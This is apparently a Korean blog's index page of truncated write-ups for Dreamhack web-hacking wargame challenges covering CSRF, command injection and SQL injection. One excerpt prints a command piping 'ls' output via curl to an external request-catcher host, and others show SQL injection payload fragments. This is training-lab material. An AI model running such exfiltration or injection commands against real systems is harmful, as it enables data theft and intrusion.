웹 해킹/Dreamhack Wargame(13)
-
csrf-2
CSRF 두번째 문제 Codeadmin으로 로그인하면 루트페이지에서 flag값을 볼 수 있다. change_password페이지에서 파라미터로 pw값을 입력하면해당 session_id의 password를 변경해준다. Happy Pathflag페이지에서 루프백 주소로 파라미터를 보낼 수 있다.따라서 해당 파라미터에 를 입력한다.그러면 admin의 password가 1로 변경된다. FLAG
2024.05.26 -
csrf-1
CSRF 공격을 활용하는 워게임 Code/admin/notice_flag 페이지에는 루프백 주소로 접속 시global 변수인 memo_text에 FLAG를 초기화한다. frame, script, on을 필터링한다따라서 img 태그를 활용해 csrf 공격문 작성 Happy Pathflag페이지에서 루프백으로 파라미터를 보낼 수 있다.루프백 주소로 userid=admin 파라미터를 가지고 페이지에 접속만 하면 되니 FLAG
2024.05.26 -
blind-command
Command Injection 문제. Blind가 들어가니 결과값이 보이지 않는듯하다 Code파라미터로 cmd값을 보낼 수 있고 cmd는 os.system(cmd)로 시스템 명령어 전송단, GET 방식으로만 HTTP Method를 받는데 GET 방식이면 명령어 전송이 안된다. 이럴땐 HEAD 메소드로 보내면 된다.메소드를 변경해야 하므로 Burp Suite를 사용한다.FLAGflag를 읽기 위해서 먼저 flag파일이 어디있는지를 알아야 한다.ls 명령어를 사용하고 결과값을 받아와야 하므로 파이프 구문을 사용한다ls | curl -X POST —data-binary @- https://rxwyuex.request.dreamhack.games Dreamhack Tools에서 request값을 받아주는 기능..
2024.05.26 -
command-injection-chatgpt
Command Injection 문제 Codeping을 보내는 페이지에서 핑을 /bin/sh로 명령어 전송시스템 명령어에서 명령어 접속사 ;를 사용하면 ping 명령 이후 추가적으로 명령 실행 가능 다음과 같은 결과 출력ls ⇒ cat flag.py 로 바꿔보자 FLAG
2024.05.26 -
error based sql injection
Error Based SQL Injection 문제 Codereturn template.format(uid=uid) 이므로 upw값을 반환받을 순 없다. 문제의 제목처럼 Error Based SQL Injection 으로 문제를 풀어본다. Error Based SQL Injection시 extractvalue 함수를 활용하여 쿼리를 작성한다. extractvalue(param1, param2): param1 데이터를 param2를 통해 데이터 추출이때 에러가 발생하면 parameter 내용을 출력하는데,parameter가 쿼리이면 쿼리식의 결과가 출력된다. 다음을 이용하여 Error Based SQL Injection 쿼리를 작성하면select extractvalue(1,concat(0x3a,(selec..
2024.05.26 -
blind sql injection advanced
Blind SQL Injection 문제. 기존 문제의 업그레이드 버전같다. Code참이면 user — exists 를 출력하고 거짓이면 아무것도 출력하지 않는다. FLAG는 DH{}이므로 substr(upw,1,1)=’D’를 했을때 참이다. 이걸 일일히 구하려면 오래걸리니 python으로 자동화 코드를 작성해본다.일단 FLAG의 길이는 27이다.따라서 range(1,27)로 작성하여 파라미터 값을 입력해준다. admin’ and substr(upw,str(i),1)=’j 가 참이면 user — exists를 출력하니exists가 request text안에 존재하면 값을 추가하는 코드 코드를 실행해보면FLAG가 앞의 DH{ 까진 출력되다가 이후 값이 제대로 안나온다. 이유는 비밀번호가 아스키코드와 한글로..
2024.05.26